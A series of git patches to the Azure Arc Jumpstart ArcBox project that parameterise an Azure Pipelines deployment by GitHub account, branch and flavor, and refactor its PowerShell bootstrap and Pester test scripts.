stages: azurePowerShellVersion: 'LatestVersion' Inline: | Write-Host "Deploying to $(ResourceGroupName)" + $githubAccount = $(githubAccount) + $githubBranch = $(githubBranch) + if ($githubAccount -ne "microsoft") { + Write-Host "Checking out $githubAccount/$githubBranch" + git remote add upstream git@github.com:$($githubAccount)/azure_arc.git + git fetch upstream + git checkout -b $githubBranch upstream/$githubBranch + } New-AzResourceGroupDeployment -Name ArcBox ` -ResourceGroupName $(ResourceGroupName) ` -TemplateFile azure_jumpstart_arcbox/bicep/main.bicep ` @@ -69,8 +89,8 @@ stages: logAnalyticsWorkspaceName = "arcbox-la" ; ` flavor = "ITPro" ; ` deployBastion = $false ; ` - githubAccount = "microsoft" ; ` - githubBranch = "arcbox_3.0" ; ` + githubAccount = $githubAccount ; ` + githubBranch = $githubBranch ; ` vmAutologon = $true ; ` rdpPort = "3389" ` } From 46415dd6cb1599d49ac3462849b7d629b68df6be Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 08:25:30 +0100 Subject: [PATCH 092/506] Fix variable assignment in Azure Pipelines YAML Signed-off-by: Jan Egil Ring --- azure-pipelines.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 92077c1d42..a0f1d012eb 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -68,8 +68,8 @@ stages: azurePowerShellVersion: 'LatestVersion' Inline: | Write-Host "Deploying to $(ResourceGroupName)" - $githubAccount = $(githubAccount) - $githubBranch = $(githubBranch) + $githubAccount = "$(githubAccount)" + $githubBranch = "$(githubBranch)" if ($githubAccount -ne "microsoft") { Write-Host "Checking out $githubAccount/$githubBranch" git remote add upstream git@github.com:$($githubAccount)/azure_arc.git From c61d8e06b3ace8ebd3e17626878f2a24d743a615 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 08:31:05 +0100 Subject: [PATCH 093/506] Update git remote URL to use HTTPS instead of SSH Signed-off-by: Jan Egil Ring --- azure-pipelines.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index a0f1d012eb..b3a274301c 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -72,7 +72,7 @@ stages: $githubBranch = "$(githubBranch)" if ($githubAccount -ne "microsoft") { Write-Host "Checking out $githubAccount/$githubBranch" - git remote add upstream git@github.com:$($githubAccount)/azure_arc.git + git remote add upstream https://github.com$($githubAccount)/azure_arc.git git fetch upstream git checkout -b $githubBranch upstream/$githubBranch } From 70fdd7b1cf0c4e7458d3a748debc92b848456580 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 08:34:50 +0100 Subject: [PATCH 094/506] Fix git remote URL in azure-pipelines.yml Signed-off-by: Jan Egil Ring --- azure-pipelines.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index b3a274301c..029e772fd8 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -72,7 +72,7 @@ stages: $githubBranch = "$(githubBranch)" if ($githubAccount -ne "microsoft") { Write-Host "Checking out $githubAccount/$githubBranch" - git remote add upstream https://github.com$($githubAccount)/azure_arc.git + git remote add upstream https://github.com/$($githubAccount)/azure_arc.git git fetch upstream git checkout -b $githubBranch upstream/$githubBranch } From ec0d2b4f665f26a09dea64a0084b93917077aafc Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 08:44:25 +0100 Subject: [PATCH 095/506] Add temporary workaround for Posh-SSH module Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 2b57d2ba12..be11877bb0 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -132,6 +132,9 @@ foreach ($module in $modules) { Install-PSResource -Name $module -Scope AllUsers -Quiet -AcceptLicense -TrustRepository } +# Temporary workaround for Posh-SSH module due to: https://github.com/darkoperator/Posh-SSH/issues/558 +Install-PSResource -Name Posh-SSH -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease + # Installing DHCP service Write-Output "Installing DHCP service" Install-WindowsFeature -Name "DHCP" -IncludeManagementTools From 3e8a469d5fa981a86f8efdf31a9dd2770cb03e5b Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 09:57:50 +0100 Subject: [PATCH 096/506] Refactor test script and log file paths Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 45 +------------------ .../scripts/Send-PesterResult.ps1 | 17 ++++++- .../artifacts/tests/Invoke-Test.ps1 | 44 ++++++++++++++++++ 3 files changed, 61 insertions(+), 45 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 39c5ccb8e0..31b8cb123f 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -463,50 +463,7 @@ Set-JSDesktopBackground -ImagePath "$Env:ArcBoxDir\wallpaper.bmp" Write-Header "Running tests to verify infrastructure" -Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -PassThru -OutVariable tests_common -$tests_passed = $tests_common.Passed.Count -$tests_failed = $tests_common.Failed.Count - -switch ($env:flavor) { - 'DevOps' { - Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_devops - $tests_passed = $tests_passed + $tests_devops.Passed.Count - $tests_failed = $tests_failed + $tests_devops.Failed.Count -} - 'DataOps' { - Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -Output Detailed -PassThru -OutVariable tests_dataops - $tests_passed = $tests_passed + $tests_dataops.Passed.Count - $tests_failed = $tests_failed + $tests_dataops.Failed.Count - } - 'ITPro' { - Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed -PassThru -OutVariable tests_itpro - $tests_passed = $tests_passed + $tests_itpro.Passed.Count - $tests_failed = $tests_failed + $tests_itpro.Failed.Count -} - 'Full' { - Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_devops - $tests_passed = $tests_passed + $tests_devops.Passed.Count - $tests_failed = $tests_failed + $tests_devops.Failed.Count - - Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_dataops - $tests_passed = $tests_passed + $tests_dataops.Passed.Count - $tests_failed = $tests_failed + $tests_dataops.Failed.Count - - Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed -PassThru -OutVariable tests_itpro - $tests_passed = $tests_passed + $tests_itpro.Passed.Count - $tests_failed = $tests_failed + $tests_itpro.Failed.Count - } -} - -Write-Output "Tests succeeded: $tests_passed" -Write-Output "Tests failed: $tests_failed" - -Write-Header "Adding deployment test results to wallpaper using BGInfo" - -Set-Content "$Env:windir\TEMP\arcbox-tests-succeeded.txt" $tests_passed -Set-Content "$Env:windir\TEMP\arcbox-tests-failed.txt" $tests_failed - -bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT +& "$Env:ArcBoxTestsDir\Invoke-Test.ps1" Write-Header "Creating deployment logs bundle" diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index 17281f6e85..720dd72940 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -4,7 +4,22 @@ Write-Output "Get-PesterResult.ps1 started in $(hostname.exe) as user $(whoami.e $timeout = New-TimeSpan -Minutes 180 $endTime = (Get-Date).Add($timeout) -$logFilePath = "C:\ArcBox\Logs\ArcServersLogonScript.log" + + +switch ($env:flavor) { + 'DevOps' { + $logFilePath = "$Env:ArcBoxLogsDir\DevOpsLogonScript.log" +} + 'DataOps' { + $logFilePath = "$Env:ArcBoxLogsDir\DataOpsLogonScript.log" + } + 'ITPro' { + $logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" + } + 'default' { + throw "Unknown flavor $env:flavor" + } +} Write-Output "Adding Storage Blob Data Contributor role assignment to SPN $env:spnClientId for allowing upload of Pester test results to Azure Storage" diff --git a/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 new file mode 100644 index 0000000000..6e01deba33 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 @@ -0,0 +1,44 @@ +Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -PassThru -OutVariable tests_common +$tests_passed = $tests_common.Passed.Count +$tests_failed = $tests_common.Failed.Count + +switch ($env:flavor) { + 'DevOps' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_devops + $tests_passed = $tests_passed + $tests_devops.Passed.Count + $tests_failed = $tests_failed + $tests_devops.Failed.Count +} + 'DataOps' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -Output Detailed -PassThru -OutVariable tests_dataops + $tests_passed = $tests_passed + $tests_dataops.Passed.Count + $tests_failed = $tests_failed + $tests_dataops.Failed.Count + } + 'ITPro' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed -PassThru -OutVariable tests_itpro + $tests_passed = $tests_passed + $tests_itpro.Passed.Count + $tests_failed = $tests_failed + $tests_itpro.Failed.Count +} + 'Full' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_devops + $tests_passed = $tests_passed + $tests_devops.Passed.Count + $tests_failed = $tests_failed + $tests_devops.Failed.Count + + Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_dataops + $tests_passed = $tests_passed + $tests_dataops.Passed.Count + $tests_failed = $tests_failed + $tests_dataops.Failed.Count + + Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed -PassThru -OutVariable tests_itpro + $tests_passed = $tests_passed + $tests_itpro.Passed.Count + $tests_failed = $tests_failed + $tests_itpro.Failed.Count + } +} + +Write-Output "Tests succeeded: $tests_passed" +Write-Output "Tests failed: $tests_failed" + +Write-Header "Adding deployment test results to wallpaper using BGInfo" + +Set-Content "$Env:windir\TEMP\arcbox-tests-succeeded.txt" $tests_passed +Set-Content "$Env:windir\TEMP\arcbox-tests-failed.txt" $tests_failed + +bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT \ No newline at end of file From a7a5c66941434eeb86ab0610291580cf47a08c40 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 10:00:37 +0100 Subject: [PATCH 097/506] Add flavor parameter to azure-pipelines.yml Signed-off-by: Jan Egil Ring --- azure-pipelines.yml | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 029e772fd8..7939984aca 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -23,6 +23,10 @@ parameters: displayName: 'githubBranch' type: string default: 'arcbox_3.0' +- name: flavor + displayName: 'flavor' + type: string + default: 'ITPro' variables: - group: 'integration-tests' @@ -32,6 +36,8 @@ variables: value: ${{parameters.githubAccount}} - name: githubBranch value: ${{parameters.githubBranch}} +- name: flavor + value: ${{parameters.flavor}} stages: - stage: 'ArcBox_deployment' @@ -70,6 +76,7 @@ stages: Write-Host "Deploying to $(ResourceGroupName)" $githubAccount = "$(githubAccount)" $githubBranch = "$(githubBranch)" + $flavor = "$(flavor)" if ($githubAccount -ne "microsoft") { Write-Host "Checking out $githubAccount/$githubBranch" git remote add upstream https://github.com/$($githubAccount)/azure_arc.git @@ -87,7 +94,7 @@ stages: windowsAdminPassword = "$(windowsAdminPassword)" ; ` sshRSAPublicKey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsdlSaF10Uw0fFysiIV0VYeJGE1CaV0ZjZcakcKgafiqZ04sAzf7KnoIjPVyx6LXoDTKGtv1e5eFjRZA7Z0Bu+a3JqY252/yr/B2R3Mu5qZHbKFncpVEXn7sUmYk4rDG5vToFxbhpKX5EGyvM1M0quoUv3Uv9reBsSDdjk7n7oA2Q+89rj4nfRuTEMQRwvNBaLeNRSlWuzPq4EkpwxSWRzIC2auC5K0rxGiTMPTXMOQ3l0DvzKRoEsygHA4c3uw0PTntSlgSSTgtGdQfuX63hAD4QPTVfeQdsW5+Nq3clr+6SHgeGdwHhKjUVTF+E2olfSYtuV4CqPW8dZdDBOZg7pXLMSVumZVKCZiUV6uBJkvLBRMzMiFsfXOVrgyThMqq+8y4tg/V3l/3S8z5Lngy4WoCAQMHQ1SloPmy9s4QnbjCFEQx/cIq9H+Uw6HAYhdQFh/w/tuIP+KIqOpMOrltZuaoqx3AOOL3BPXJMbv3opiZxCEZQFf68n+Zn6uRc9u1EENA9s1DrjG1j/CHWzbX/t63Ig/xQLgKLu9T+evua3dcWsYc3j1Gvk8R+ioXV7x0/fi6twrhSQxBIIL0D2Pxm8TBfJ3mVXk0kYGGq1mBsoxAzjoBhcbdwUMXHbAksj4/UuuAK5VfH278hlXo/BHSgDLZ98fdS63nq7rIr6qWmBrQ==" ; ` logAnalyticsWorkspaceName = "arcbox-la" ; ` - flavor = "ITPro" ; ` + flavor = $flavor ; ` deployBastion = $false ; ` githubAccount = $githubAccount ; ` githubBranch = $githubBranch ; ` From 0f850ccf4a50698a7bba4bb02f9e30146c3b2e0a Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 11:16:10 +0100 Subject: [PATCH 098/506] Add Invoke-Test.ps1 to tests directory Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index be11877bb0..760a49a456 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -173,6 +173,7 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/common.dsc.yml") -OutFile $ Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/virtual_machines_sql.dsc.yml") -OutFile $Env:ArcBoxDscDir\virtual_machines_sql.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/arcbox-bginfo.bgi") -OutFile $Env:ArcBoxTestsDir\arcbox-bginfo.bgi Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/common.tests.ps1") -OutFile $Env:ArcBoxTestsDir\common.tests.ps1 +Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/Invoke-Test.ps1") -OutFile $Env:ArcBoxTestsDir\Invoke-Test.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/WinGet.ps1") -OutFile $Env:ArcBoxDir\WinGet.ps1 Invoke-WebRequest ($templateBaseUrl + "../tests/GHActionDeploy.ps1") -OutFile "$Env:ArcBoxDir\GHActionDeploy.ps1" Invoke-WebRequest ($templateBaseUrl + "../tests/OpenSSHDeploy.ps1") -OutFile "$Env:ArcBoxDir\OpenSSHDeploy.ps1" From 2c5dd904c6139c40aeae2b015d74cd0119c3ba44 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 11:20:06 +0100 Subject: [PATCH 099/506] Update Send-PesterResult.ps1 script with environment variables Signed-off-by: Jan Egil Ring --- .../artifacts/integration_tests/scripts/Send-PesterResult.ps1 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index 720dd72940..1b696fec79 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -1,5 +1,9 @@ Start-Transcript -Path C:\ArcBox\logs\Get-PesterResult.log -Force +$Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" + Write-Output "Get-PesterResult.ps1 started in $(hostname.exe) as user $(whoami.exe) at $(Get-Date)" $timeout = New-TimeSpan -Minutes 180 From 509708b6f8bf22ece0c4e14d1d7153abb5a2f6be Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 12:37:45 +0100 Subject: [PATCH 100/506] Add GitHub account and branch parameters to Wait-ArcBoxDeployment.ps1 script Signed-off-by: Jan Egil Ring --- azure-pipelines.yml | 2 +- .../integration_tests/scripts/Send-PesterResult.ps1 | 4 ++-- .../integration_tests/scripts/Wait-ArcBoxDeployment.ps1 | 8 ++++++-- azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 | 3 +++ 4 files changed, 12 insertions(+), 5 deletions(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 7939984aca..7f3f6c576a 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -110,7 +110,7 @@ stages: ScriptType: FilePath azurePowerShellVersion: 'LatestVersion' ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1' - ScriptArguments: -ResourceGroupName $(ResourceGroupName) + ScriptArguments: -ResourceGroupName $(ResourceGroupName) -githubAccount $(githubAccount) -githubBranch $(githubBranch) - task: AzurePowerShell@5 displayName: 'Download Pester test-results from storage account to pipeline agent' diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index 1b696fec79..dcefeccd17 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -1,9 +1,9 @@ -Start-Transcript -Path C:\ArcBox\logs\Get-PesterResult.log -Force - $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" $Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" +Start-Transcript -Path "$Env:ArcBoxLogsDir\Get-PesterResult.log" -Force + Write-Output "Get-PesterResult.ps1 started in $(hostname.exe) as user $(whoami.exe) at $(Get-Date)" $timeout = New-TimeSpan -Minutes 180 diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 index 16f06e001b..17c26e5082 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 @@ -1,12 +1,16 @@ param( [Parameter(Mandatory=$true)] - [string]$ResourceGroupName + [string]$ResourceGroupName, + [Parameter(Mandatory=$true)] + [string]$githubAccount, + [Parameter(Mandatory=$true)] + [string]$githubBranch ) Write-Host "Starting VM Run Command to wait for deployment and retrieve Pester test results from ArcBox-Client in resource group $ResourceGroupName" $Location = (Get-AzVM -ResourceGroupName $ResourceGroupName).Location -Set-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Location $Location -SourceScriptUri "https://raw.githubusercontent.com/microsoft/azure_arc/arcbox_3.0/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1" -AsyncExecution +Set-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Location $Location -SourceScriptUri "https://raw.githubusercontent.com/$githubAccount/azure_arc/$githubBranch/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1" -AsyncExecution do { $job = Get-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Expand InstanceView diff --git a/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 index 6e01deba33..f672cf54db 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 @@ -1,3 +1,6 @@ +$Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" + Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -PassThru -OutVariable tests_common $tests_passed = $tests_common.Passed.Count $tests_failed = $tests_common.Failed.Count From 99099621e83eca9c0038ac2ddc069c3d6cc43397 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 13:33:22 +0100 Subject: [PATCH 101/506] Update Send-PesterResult.ps1 script to handle existing role assignments Signed-off-by: Jan Egil Ring --- .../scripts/Send-PesterResult.ps1 | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index dcefeccd17..0169652a92 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -2,7 +2,7 @@ $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" $Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" -Start-Transcript -Path "$Env:ArcBoxLogsDir\Get-PesterResult.log" -Force +Start-Transcript -Path "$Env:ArcBoxLogsDir\Get-PesterResult_$($PID).log" -Force Write-Output "Get-PesterResult.ps1 started in $(hostname.exe) as user $(whoami.exe) at $(Get-Date)" @@ -76,10 +76,19 @@ $ClientObjectId = az ad sp list --filter "appId eq '$env:spnClientId'" --output $StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup -$null = New-AzRoleAssignment -ObjectId $ClientObjectId.id -RoleDefinitionName "Storage Blob Data Contributor" -Scope $StorageAccount.Id +if (Get-AzRoleAssignment -ObjectId $ClientObjectId.id -RoleDefinitionName "Storage Blob Data Contributor" -Scope $StorageAccount.Id) { -Write-Output "Wait for eventual consistencty after RBAC assignment" -Start-Sleep 120 + Write-Output "Role assignment already exists" + +} else { + + Write-Output "Role assignment does not yet exist" + $null = New-AzRoleAssignment -ObjectId $ClientObjectId.id -RoleDefinitionName "Storage Blob Data Contributor" -Scope $StorageAccount.Id + + Write-Output "Wait for eventual consistency after RBAC assignment" + Start-Sleep 120 + +} Write-Output "Waiting for PowerShell transcript end in $logFilePath" From ca5579cade447514532dc53c78afb982a4051044 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Sun, 28 Jan 2024 11:12:07 +0200 Subject: [PATCH 102/506] Refactor test execution in DataOpsLogonScript.ps1 --- .../artifacts/DataOpsLogonScript.ps1 | 18 +----------------- 1 file changed, 1 insertion(+), 17 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 1eb46b06b0..ec2d3a3e13 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -350,23 +350,7 @@ Start-Sleep -Seconds 5 Write-Header "Running tests to verify infrastructure" -Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -PassThru -OutVariable tests_common -$tests_passed = $tests_common.Passed.Count -$tests_failed = $tests_common.Failed.Count - -Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_dataops -$tests_passed = $tests_passed + $tests_dataops.Passed.Count -$tests_failed = $tests_failed + $tests_dataops.Failed.Count - -Write-Output "Tests succeeded: $tests_passed" -Write-Output "Tests failed: $tests_failed" - -Write-Header "Adding deployment test results to wallpaper using BGInfo" - -Set-Content "$Env:windir\TEMP\arcbox-tests-succeeded.txt" $tests_passed -Set-Content "$Env:windir\TEMP\arcbox-tests-failed.txt" $tests_failed - -bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT +& "$Env:ArcBoxTestsDir\Invoke-Test.ps1" # Executing the deployment logs bundle PowerShell script in a new window Write-Header "Uploading Log Bundle" From 05fb2540c340dbf2806b936ed45aa7a20581f046 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 29 Jan 2024 12:18:27 +0200 Subject: [PATCH 103/506] Add Az.CustomLocation module and update OpenSSL path --- .../artifacts/Bootstrap.ps1 | 2 +- .../artifacts/DataOpsAppScript.ps1 | 9 +---- .../artifacts/DataOpsLogonScript.ps1 | 7 ++++ .../artifacts/tests/Invoke-Test.ps1 | 2 +- .../artifacts/tests/dataops.tests.ps1 | 34 ++++++++++++++++++- 5 files changed, 43 insertions(+), 11 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 7975fbd6ea..51d8a4a5db 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -126,7 +126,7 @@ Resize-Partition -DriveLetter C -Size $(Get-PartitionSupportedSize -DriveLetter Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force Install-Module -Name Microsoft.PowerShell.PSResourceGet -Force -$modules = @("Az", "Az.ConnectedMachine", "Azure.Arc.Jumpstart.Common", "Posh-SSH", "Pester") +$modules = @("Az", "Az.ConnectedMachine", "Az.ConnectedKubernetes", "Az.CustomLocation", "Azure.Arc.Jumpstart.Common", "Posh-SSH", "Pester") foreach ($module in $modules) { Install-PSResource -Name $module -Scope AllUsers -Quiet -AcceptLicense -TrustRepository diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 index 2e2eb57d7a..dbfa3c8cdf 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 @@ -16,15 +16,8 @@ $certPassword = ConvertTo-SecureString -String $password -Force -AsPlainText Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$CName.pfx" -Password $certPassword Import-PfxCertificate -FilePath "$Env:TempDir\$CName.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword -# Add OpenSSL to path environment variable -$openSSL = "C:\Program Files\FireDaemon OpenSSL 3\bin" -$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Machine) -$newPathVariable = $currentPathVariable + ";" + $openSSL -[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Machine) - - openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -nocerts -out "$Env:TempDir\$CName.key" -password pass:$password -passout pass:$password -openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -clcerts -nokeys -out "$Env:TempDir\$CName.crt" -password pass:$password +openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -clcerts -nokeys -out "$Env:TempDir\$CName.crt" -password pass:$password openssl rsa -in "$Env:TempDir\$CName.key" -out "$Env:TempDir\$CName-dec.key" -passin pass:$password Write-Header "Creating Ingress Controller" diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index ec2d3a3e13..456b6a3da5 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -273,6 +273,13 @@ foreach($cluster in $clusters){ } Write-Header "Deploying App" + +# Add OpenSSL to path environment variable +$openSSL = "C:\Program Files\FireDaemon OpenSSL 3\bin" 